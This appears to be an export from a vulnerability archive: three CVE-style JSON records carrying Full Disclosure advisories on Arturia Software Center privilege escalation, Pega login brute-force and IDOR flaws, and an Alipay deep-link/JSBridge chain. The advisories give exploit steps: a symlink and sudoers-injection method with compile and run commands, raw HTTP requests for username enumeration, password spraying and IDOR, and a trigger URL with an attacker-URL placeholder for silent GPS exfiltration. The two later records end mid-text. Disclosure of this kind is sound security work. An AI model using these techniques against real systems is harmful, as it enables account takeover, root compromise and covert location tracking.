Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260318-0",
          "vendor": "Arturia",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260318-0 \u003e\n=======================================================================\n              title: Multiple Privilege Escalation Vulnerabilities\n            product: Arturia Software Center MacOS\n vulnerable version: 2.12.0.3157\n      fixed version: -\n         CVE number: CVE-2026-24062, CVE-2026-24063\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.arturia.com/technology/asc\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-02\n                 by: Florian Haselsteiner (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We create instruments and effects that encourage musical discovery,\nreward curiosity, and savor the artistic process. We\u2019re an international\nteam of passionate people, on a mission to navigate uncharted sonic territory\nin the name of creative empowerment.\nFrom the raw analog power of Brute synthesizers to our faithful virtual\ninstrument emulations of V Collection, we provide musicians with an inspiring\nsonic experience that\u0027s instantly accessible, exploratory, and thrilling.\"\n\nSource:https://www.arturia.com/company\n\n\nBusiness recommendation:\n------------------------\nThe vendor was unresponsive and did not respond to any of our communication\nattempts. Therefore, a patch is not available. In case you are using this\nproduct, please approach the vendor and demand a fix.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Insufficient XPC Client validation (CVE-2026-24062)\nIt was found that the \"Privileged Helper\" component of the Arturia Software\nCenter does not perform sufficient client code signature validation when a\nclient connects. This leads to an attacker being able to connect to the helper\nand execute privileged actions leading to local privilege escalation.\n\n2) World writable uninstall.sh script executed by root (CVE-2026-24063)\nIt was found that when a plugin is installed using the Arturia Software Center,\nthat this plugin also installs an uninstall.sh bash script in a root owned path.\nThis script is written to disk with the file permissions 777, meaning it is\nwritable by any user. When uninstalling a plugin via the Arturia Software Center\nthe Privileged Helper gets instructed to execute this script.\nWhen the bash script is manipulated by an attacker this scenario will lead\nto privilege escalation.\n\n\nProof of concept:\n-----------------\n1) Insufficient XPC Client validation (CVE-2026-24062)\nThe Privileged Helper service does not check if the connecting client\nis signed with a valid code signature. Any process can connect to the\nprivileged helper and trigger privileged actions.\n\nThe following C code can be used to connect to the privileged helper and\ntrigger code execution as root. By first using the FINISHM command to achieve\n/Library/Arturia being a symlink to /tmp/test and then triggering an UNINSTA\nof /Library/Arturia/uninstall.sh, the attacker controlled bash script in\n/tmp/test/uninstall.sh will get executed by root. The following example proof\nof concept sets up the /tmp/test directory as well as the\n/tmp/test/uninstall.sh script containing commands to add the user lowpriv\nto the sudoers file.\n-----------------\n[ PoC exploit code removed ]\n-----------------\n\nThe code can be compiled using clang:\n-----------------\nclang -o exploit exploit.c\n-----------------\n\nAnd then be executed like:\n-----------------\n./exploit com.Arturia.InstallHelper\n-----------------\n\nThis will trigger execution of /tmp/test/uninstall.sh as root\nleading to privilege escalation.\n\n\n2) World writable uninstall.sh script executed by root (CVE-2026-24063)\nWhen a vst is installed via the ASC the following path will be generated:\n-----------------\n/Library/Arturia/Acid V/Acid V.vst3/Contents/Resources\n-----------------\nThe following contents are installed:\n-----------------\nuser@usersVilMachine Resources % ls -al\ntotal 8\ndrwxrwxrwx  3 root  wheel    96 Oct  9 09:27 .\ndrwxrwxrwx  7 root  wheel   224 Oct  9 09:27 ..\n-rwxrwxrwx  1 root  wheel  3315 Oct  9 09:26 uninstall.sh\nuser@usersVilMachine Resources % pwd\n/Library/Arturia/Acid V/Acid V.vst3/Contents/Resources\n-----------------\nWhen uninstalling the same software via the ASC the following XPC message\nis sent to the InstallHelper:\n-----------------\nUNINSTA /Library/Arturia/Acid V/Acid V.vst3/Contents/Resources/uninstall.sh\n-----------------\nThis will trigger execution of the uninstall.sh file as root.\nThe uninstallation can either be triggerd by exploiting the missing\nXPC client authentication of the Privileged Helper or by manually\ntriggering the uninstall via the UI.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 2.12.0.3157\n\nAll tests have been performed on MacOS 26.2 with SIP enabled!\n\n\nVendor contact timeline:\n------------------------\n2026-01-05: Contacting vendor throughinfo () arturia com; no response.\n2026-01-27: Contacting vendor through contact form. Got error, \"Support out of reach!\"\n2026-01-27: Contact via contact form again, seems to have a bug.\n2026-01-27: Contact viainfo () arturia com andwebmaster () arturia com; no response.\n2026-02-03: Tried to contact vendor via contact form after login. Got same error.\n2026-02-03: Contact viasales.support () arturia com; no response.\n2026-02-24: Tried to contact vendor via contact form, again same error.\n2026-02-25: Contact viaprivacy-inquiries () arturia com; no response.\n2026-03-18: Public release of advisory.\n\n\nSolution:\n---------\nThe vendor was unresponsive and did not respond to any of our communication\nattempts. Therefore, a patch is not available. In case you are using this\nproduct, please approach the vendor and demand a fix.\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Florian Haselsteiner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:41:10Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/9"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Mar/9"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.arturia.com/company"
        },
        {
          "url": "https://www.arturia.com/technology/asc"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Mar/9"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260318-0 :: Multiple Privilege Escalation Vulnerabilities in Arturia Software Center MacOS",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-24062",
              "type": "related"
            },
            {
              "destId": "CVE-2026-24063",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0276",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/9",
            "automated": true,
            "contentSha256": "3d07ec840f6a5098807bac32b8cf27bf98c69ef58cec128ce317988d74ea12ae",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/9",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-03-18T15:39:22Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0276"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:43Z",
    "dateUpdated": "2026-09-09T13:41:10Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0276"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260317-0",
          "vendor": "Pega",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260317-0 \u003e\n=======================================================================\n              title: Multiple vulnerabilities\n \u00a0 \u00a0 \u00a0  \u00a0 \u00a0 product: PEGA Infinity platform\n vulnerable version: CVE-2025-62181: Pega Platform versions 7.1.0 through Infinity 25.1.0\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 CVE-2025-9559: Pega Platform versions 8.7.5 to Infinity 24.2.2\n\u00a0 \u00a0 \u00a0 fixed version: CVE-2025-62181: 24.1.4, 24.2.4, and 25.1.1 patch\n                     CVE-2025-9559: \u00a024.2.3\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-62181, CVE-2025-9559\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: medium\n           homepage:https://www.pega.com/\n  \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2024-12-12\n  \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0by: Eric Kahlert\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We are Pega- The enterprise transformation company.\u2122\nOur enterprise AI decisioning and workflow automation platform delivers business\ntransforming value. Together, we partner with the world\u2019s largest organizations\nto Build for Change\u00ae.\"\n\nSource:https://www.pega.com/about\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Weak Brute-Force protection for login page (CVE-2025-62181)\nThe application\u0027s login form implements a weak login brute-force protection\nmechanism, which is only effective against multiple login attempts using\ndifferent passwords. Attacks using the same password on different users and\nusername enumeration are therefore not prevented.\n\nAn attacker can perform the following attacks:\n- Username Enumeration: An attacker can test a large list of potential usernames\n  against the login mechanism and distinguish between valid and invalid usernames\n  based on the server\u0027s response time.\n- Password Spraying: In a password spraying attack, the same password is tested\n  against many different usernames, potentially granting unauthorized access to user\n  accounts in the worst-case scenario. To exploit this vulnerability, an attacker\n  could, for example, create a script that uses the most common passwords and a list\n  of known valid usernames to attempt authentication.\n\n2) Insecure Direct Object Reference (IDOR) (CVE-2025-9559)\nAn Insecure Direct Object Reference (IDOR) occurs when an application grants direct\naccess to objects based on user input without performing sufficient authorization\nchecks. As a result, attackers can bypass authorization and directly access system\nresources, such as files. In this case the IDOR vulnerability can be used to read\nimage files from other users without setting the option to share the images with\nothers.\n\n\nProof of concept:\n-----------------\n1) Weak Brute-Force protection for login page (CVE-2025-62181)\nThis is an invalid login request:\nPOST /XXX/app/default/CHhSc-bWE3BYCBUOUq46CjlmQt_t3VKg*/!STANDARD HTTP/1.1\nHost: [...]\nCookie: Pega-RULES=[...]; JSESSIONID=[...]; ROUTEID=[...]\n[...]\n\npzAuth=guest\u0026UserIdentifier=PentestBenutzer_1\u0026Password=invalid_password\u0026pyActivity%3DCode-Security.Login=\u0026lockScreenID=\u0026lockScreenPassword=\u0026newPassword=\u0026confirmNewPassword=\n\nThe server response for a valid username shows a significantly higher response\ntime compared to responses with invalid usernames. An attacker can use a large\nlist of potential usernames in a script to enumerate valid usernames, as illustrated\nin the following example, see figure \u003cresponseTimeTable.png\u003e\n\nIn less than a minute, 8,000 invalid authentication attempts were made from the same\nIP address using different usernames and the same password.\n\nPassword Spraying:\nAfter enumerating valid usernames, an attacker can execute a password spraying attack by\nusing the same request method as for username enumeration. A script is used to test the\nsame password across many different usernames without triggering the brute-force protection.\nDuring this attack, 8,000 invalid authentication attempts were again made from the same\nIP address in under a minute, using different usernames and the same password.\nThe attacker would repeat this attack with a list of valid usernames and common passwords\nuntil a successful login is found.\n\nAs shown in the following example, the attack was successful with the username PentestBenutzer_1.\nSee figure \u003cpasswordSpray.png\u003e\n\n\n2) Insecure Direct Object Reference (IDOR) (CVE-2025-9559)\nIn order to verify this vulnerability, e.g. a test user \"user_1\" is logged in:\nPOST /XXX/app/default/CHhSc-bWE3BYCBUOUq46CjlmQt_t3VKg*/!STANDARD HTTP/1.1\nHost: [...]\nCookie: p_unknown=true%7Bapp%7D; Pega-RULES[...]; JSESSIONID=[...]; ROUTEID=[...]\n[...]\n\npzAuth=guest\u0026UserIdentifier=user_1\u0026Password=[...]\u0026pyActivity%3DCode-Security.Login=\u0026lockScreenID=\u0026lockScreenPassword=\u0026newPassword=\u0026confirmNewPassword=\n\nThe user receives the following Pega-RULES session cookie:\n\nHTTP/1.1 303 See Other\nDate: Thu, 12 Dec 2024 13:36:53 GMT\n[...]\nSET-COOKIE: Pega-RULES=%09%7Bpd%7DAAAABr3F5Rfo8PLlkIsDNLwSbSZ0HFLGwnS6[...]; Path=[...]; Secure; HttpOnly; SameSite=Lax;\nX-Content-Type-Options: nosniff\nConnection: close\n\nAnother user \"user_2\" uploads an image, which is a two step process:\nPOST \n/XXX/app/XXX/bJXRcBOqwaiAstqd8LVSHIEMFNxpnKrvbr_zZRJ5OsQ*/!DCSPA_UserPortal?pyActivity=ReloadSection\u0026pzTransactionId=b1f46a71d9635ab261358a8a4a9cbfdb\u0026pzFromFrame=pyWorkPage\u0026pzPrimaryPageName=pyWorkPage\u0026pzKeepPageMessages=false\u0026strPHarnessClass=XXX\u0026strPHarnessPurpose=Review\u0026UITemplatingStatus=Y\u0026StreamName=pzBrowseDocument\u0026BaseReference=pyAttachmentPage\u0026StreamClass=Rule-HTML-Section\u0026bClientValidation=true\u0026FormError=NONE\u0026pyCustomError=pyCaseErrorSection\u0026PreActivity=pzUploadFileToADocument\u0026HeaderButtonSectionName=-1\u0026PagesToRemove=\u0026pzHarnessID=HIDAA6704B0D23A3D2ABE9B1450BC6F31C4\u0026inStandardsMode=true\u0026AJAXTrackID=1\u0026PreDataTransform=\n HTTP/1.1\nHost: [...]\nCookie: Pega-Perf=itkn=5; Pega-RULES[...]; JSESSIONID=p_MM8f2VfKMT5sKhvtIc5_tNIt_foyBkqcpUIVW0.[...]; ROUTEID=[...]\nContent-Length: 32973\n[...]\n------WebKitFormBoundaryTll7wmP4P42lbosV\nContent-Disposition: form-data; name=\"$PpyAttachmentPage$ppxAttachName\"; filename=\"cat.png\"\nContent-Type: image/png\n\nPNG\n[...]\n\n\nThe upload is finalized with a second HTTP POST request:\nPOST \n/XXX/app/XXX/bJXRcBOqwaiAstqd8LVSHIEMFNxpnKrvbr_zZRJ5OsQ*/!DCSPA_UserPortal?pzTransactionId=b1f46a71d9635ab261358a8a4a9cbfdb\u0026pzFromFrame=pyWorkPage\u0026pzPrimaryPageName=pyWorkPage\u0026AJAXTrackID=1\n HTTP/1.1\nHost: [...]\nCookie: Pega-Perf=itkn=7\u0026start; Pega-RULES=[...]; JSESSIONID=p_MM8f2VfKMT5sKhvtIc5_tNIt_foyBkqcpUIVW0.[...]; \nROUTEID=[...]\nContent-Length: 2655\n[...]\n\npyActivity=SubmitModalFlowAction\u0026EXPANDEDLGLayoutGrouppyEnterCaseDetailsS1=2\u0026LGTypeLGLayoutGrouppyEnterCaseDetailsS1=tab\u0026appendUniqueIdToFileName=true\u0026$PpyAttachmentPage$ppxAttachName=\u0026$PAddRecentContent$ppyLabel=cat\u0026$PAddRecentContent$ppyDocumentAccessibleTo=Context\u0026$PAddRecentContent$ppyDocumentContextLabel=XXX\u0026$PAddRecentContent$ppyTopCaseID=FE-1001\u0026$PAddRecentContent$ppyCaseContext=XXX\u0026$PAddRecentContent$ppyClassContext=XXX\u0026$PAddRecentContent$ppyContextType=Case\u0026$PAddRecentContent$ppyContent=\u0026$PAddRecentContent$ppyDescription=\u0026$OCompositeGadget=\u0026$OControlMenu=\u0026$ODesktopWrapperInclude=\u0026$ODeterminePortalTop=\u0026$ODeveloperAssistant=\u0026$ODynamicContainerFrameLess=\u0026$ODynamicLayout=\u0026$ODynamicLayoutCell=\u0026$OEvalDOMScripts_Include=\u0026$OForm=\u0026$OGapIdentifier=\u0026$OHarness=\u0026$OHarnessStaticJSEnd=\u0026$OHarnessStaticJSStart=\u0026$OHarnessStaticScriptsClientValidation=\u0026$OHarnessStaticScriptsExprCal=\u0026$OLaunchFlow=\u0026$OMenuBar=\u0026$OMenuBarOld=\u0026$OMicroDynamicContainer=\u0026$OMobileAppNotify=\u0026$OOperatorPresenceStatusScripts=\u0026$OPMCPortalStaticScripts=\u0026$ORepeatingDynamicLayout=\u0026$ORepeatingGrid=\u0026$OSessionUser=\u0026$OSurveyStaticScripts=\u0026$OWorkformStyles=\u0026$Ocosmoslocale=\u0026$OmenubarInclude=\u0026$OpxButton=\u0026$OpxDisplayText=\u0026$OpxDropdown=\u0026$OpxDynamicContainer=\u0026$OpxGrid=\u0026$OpxGridBody=\u0026$OpxGridDataCell=\u0026$OpxGridDataRow=\u0026$OpxGridHeaderCell=\u0026$OpxGridHeaderRow=\u0026$OpxHarnessContent=\u0026$OpxHidden=\u0026$OpxIcon=\u0026$OpxLayoutContainer=\u0026$OpxLayoutHeader=\u0026$OpxLink=\u0026$OpxMenu=\u0026$OpxMicroDynamicContainer=\u0026$OpxNonTemplate=\u0026$OpxSection=\u0026$OpxTextInput=\u0026$OpxVisible=\u0026$OpxWorkArea=\u0026$OpxWorkAreaContent=\u0026$OpxWorkAreaHeader=\u0026$OpyDirtyCheckConfirm=\u0026$OpyWorkFormStandardEnd=\u0026$OpyWorkFormStandardStart=\u0026$Opycosmoscustomstyles=\u0026$OpzAppLauncher=\u0026$OpzDecimalInclude=\u0026$OpzFrameLessDCScripts=\u0026$OpzHarnessInlineScriptsEnd=\u0026$OpzHarnessInlineScriptsStart=\u0026$OpzMicroDynamicContainerScripts=\u0026$OpzPegaCompositeGadgetScripts=\u0026$OpzRuntimeToolsBar=\u0026$Opzpega_ui_harnesscontext=\u0026$Ordlincludes=\u0026$OxmlDocumentInclude=\u0026$OLGBundle=\u0026$OLayoutGroup=\u0026$OPegaSocial=\u0026$OpxHeaderCell=\u0026$OpxTextArea=\u0026$Opycosmoscustomscripts=\u0026$Opzcosmosuiscripts=\u0026$Opzpega_control_attachcontent=\u0026$OAttachmentActions=\u0026$OAttachmentInlineView=\u0026$OExternalViewerJS=\u0026$OContainerDynamicLayoutGroup=\u0026$ODynamicLayoutGroup=\u0026$Olayoutgroupincludes=\u0026$OpxAutoComplete=\u0026$OpxRadioButtons=\u0026$OpzAutoCompleteAGIncludes=\u0026$OpzCKEditorScripts=\u0026actionName=pzManageRecentContent\u0026KeepMessages=false\u0026FormError=NONE\u0026pyCustomError=pyCaseErrorSection\u0026modalSection=pyFlexModalTemplate\u0026bIsOverlay=false\u0026InterestPage=pyWorkPage\u0026HarnessType=NEW\u0026UITemplatingStatus=Y\u0026pzHarnessID=HIDAA6704B0D23A3D2ABE9B1450BC6F31C4\u0026inStandardsMode=true\n\n\nNow user_1 requests the image uploaded by user_2:\nGET /XXX/app/XXX/datacontent/image/DOCUMENT/DOC-1008.png HTTP/1.1\nHost: [...]\nCookie: Pega-RULES=%09%7Bpd%7DAAAABr3F5Rfo8PLlkIsDNLwSbSZ0HFLGwnS6[...]; \nJSESSIONID=cp7pHh8XQZvwMBc-vQ9JtZFJ5c4BEzYhWFLdcM0A.[...]; ROUTEID=[...]\nConnection: close\n\n\nThe server responds with the requested image:\n\nHTTP/1.1 200 OK\nDate: Thu, 12 Dec 2024 14:01:39 GMT\n[...]\n\n\u2030PNG\n[...]\n\nUser_1 can read all uploaded images of user_2 by guessing the filenames and\naccessing them directly.\n\n\nVulnerable / tested versions:\n-----------------------------\nAccording to the vendor, the following versions are vulnerable:\nCVE-2025-62181: Pega Platform versions 7.1.0 through Infinity 25.1.0\nCVE-2025-9559: Pega Platform versions 8.7.5 to Infinity 24.2.2\n\n\nVendor contact timeline:\n------------------------\n2025-01-14: Contacting vendor throughSecurityReport () Pega com; CSOC responds.\n2025-01-16: Sending advisory toIncidentResponse () pega com\n2025-02-04: Asking for a status update regarding the internal analysis.\n2025-02-05: Vendor received submission\n2025-02-21: Vendor requested additional information\n2025-03-03: Additional information sent to vendor\n2025-03-18: Asking for a status update.\n2025-04-15: Contacted vendor again, set deadline until end of April.\n2025-04-17: Vendor excuses delayed response, will provide further info on 18th.\n2025-04-18: Vendor provides status update regarding the two issues.\n2025-04-22: Vendor provides further status update\n2025-04-23: Sending additional details to the vendor regarding brute-force\n            detection.\n2025-04-24: Vendor acknowledges some defects, others are still reviewed.\n2025-04-29: Additional information sent to vendor\n2025-05-01: Vendor is still reviewing user enumeration, ETA for IDOR should\n            follow by the end of the week.\n2025-05-03: Vendor requested more time.\n2025-05-06: Asking vendor when the vulnerabilities will be fixed\n2025-05-08: Vendor will send timeframe on 12 May.\n2025-05-14: Vendor is targeting a solution to be available in v25.1.1 (Sept. \u002725)\n            for user enumeration, IDOR follows the patch schedule (23.1.5, 24.1.4, 24.2.3, 25.1.0)\n            herehttps://support.pega.com/pega-infinity-patch-calendar\n2025-05-15: Confirmed the vendor that we are willing to wait until September.\n2025-08-26: Contacted the vendor if the timeframe is still valid.\n2025-08-27: Vendor wants to postpone advisory re"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:41:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/8"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Mar/8"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.pega.com/pega-infinity-patch-calendar"
        },
        {
          "url": "https://support.pega.com/support-doc/pega-security-advisory-h25-vulnerability-remediation-note"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-62181"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9559"
        },
        {
          "url": "https://www.pega.com/"
        },
        {
          "url": "https://www.pega.com/about"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Mar/8"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260317-0 :: Multiple vulnerabilities in PEGA Infinity platform",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-62181",
              "type": "related"
            },
            {
              "destId": "CVE-2025-9559",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0257",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/8",
            "automated": true,
            "contentSha256": "d74b087c71c61beb49efc55d0281c1097d97d04d9637da35e2f69191cd99a94c",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/8",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-03-17T12:05:21Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0257"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-09T13:41:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0257"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Alipay DeepLink+JSBridge Attack",
          "vendor": "Ant Group (\u8682\u8681\u96c6\u56e2) / Alibaba Group",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Feng Ning via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Subject: Alipay DeepLink+JSBridge Attack Chain: Silent GPS Exfiltration, 17 Vulns, 6 CVEs (CVSS 9.3)\n\n# Alipay DeepLink + JSBridge Attack Chain\n# Silent GPS Exfiltration via Crafted URL\n\n## Overview\n\nResearcher: Jiqiang Feng / Innora AI Security Research\nVendor: Ant Group (\u8682\u8681\u96c6\u56e2) / Alibaba Group\nProduct: Alipay (\u652f\u4ed8\u5b9d) v10.x (Android \u0026 iOS)\nUsers Affected: 1 billion+\nCVEs: 6 submitted to MITRE CNA-LR (2026-03-12)\nCVSS: 7.4\u20139.3\nVendor Response: \"Normal functionality\"\nDisclosure: Responsible (Feb 25 \u2192 Mar 11 public)\n\n## Vulnerability Chain\n\nA single crafted URL triggers the following attack chain:\n\n1. Open Redirect (CWE-601): ds.alipay.com/?scheme= accepts arbitrary URL parameters, redirecting to Alipay app via deep \nlink\n2. Whitelist Bypass (CWE-939): ds.alipay.com is a whitelisted Alipay domain, so the deep link handler trusts the \nredirect target\n3. WebView Loading: Attacker-controlled page loads in Alipay\u0027s privileged WebView with JSBridge access\n4. API Abuse: AlipayJSBridge.call() exposes sensitive native APIs without user consent\n\n## Exploitable APIs (Verified)\n\n| # | API | Data Extracted | Android | iOS |\n|---|-----|---------------|---------|-----|\n| 1 | getLocation | GPS coords (8.8m accuracy) | \u2713 | \u2713 |\n| 2 | getNetworkType | WiFi/cellular, carrier info | \u2713 | \u2713 |\n| 3 | getSystemInfo | Device model, OS, screen | \u2713 | \u2713 |\n| 4 | getCameraPermission | Camera auth status | \u2713 | \u2713 |\n| 5 | getMicrophonePermission | Mic auth status | \u2713 | \u2713 |\n| 6 | tradePay | Pre-fill payment screen | \u2717 | \u2713 |\n| 7 | share | Trigger share dialog | \u2717 | \u2713 |\n| 8 | scan | Activate QR scanner | \u2717 | \u2713 |\n| 9 | chooseImage | Access photo picker | \u2717 | \u2713 |\n\niOS attack surface is significantly larger than Android.\n\n## PoC\n\nTrigger URL pattern:\nhttps://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067\u0026url=[BASE64_ENCODED_ATTACKER_URL]\n\nVerification page (read-only, no data collection):\nhttps://innora.ai/zfb/poc/trigger.html\n\n## Verification\n\n- 3 devices: Samsung S25 Ultra (NZ), Xiaomi Redmi 12 (MY), iPhone 16 Pro (CN-Hangzhou)\n- 308 server-side exfiltration logs\n- 42 screenshots\n- Vendor\u0027s own security lead tested on iPhone from Hangzhou (Alipay HQ) \u2014 GPS captured silently in 7 seconds, accuracy \n8.8m\n\n## Timeline\n\n2026-02-25: Initial TLS/SSL report to vendor\n2026-03-06: Vendor: \"cannot be practically exploited\"\n2026-03-07: Expanded report (17 vulns, full E2E proof)\n2026-03-07: Whitelist bypass achieved in 2 min during live call with vendor\n2026-03-08: Vendor\u0027s security lead\u0027s iPhone tested from Hangzhou \u2014 GPS captured\n2026-03-10: Vendor final: \"normal functionality\"\n2026-03-11: Public disclosure\n2026-03-11: Vendor\u0027s law firm files takedown complaint (4 hours later)\n2026-03-12: 6 CVEs submitted to MITRE\n\n## Full Report\n\nhttps://innora.ai/zfb/ (bilingual EN/ZH)\n\n## Notes\n\n- Alibaba is a registered CNA (CNA-2017-0006) but refused to assign CVEs\n- Vendor\u0027s law firm complaint targets an article that never once mentions \"Alipay\" or \"Ant Group\" by name\n- Vendor\u0027s security contact privately called it a \"\u6d1e\" (hole/vuln) while officially classifying as \"normal functionality\"\n\n## Contact\n\nJiqiang Feng | feng () 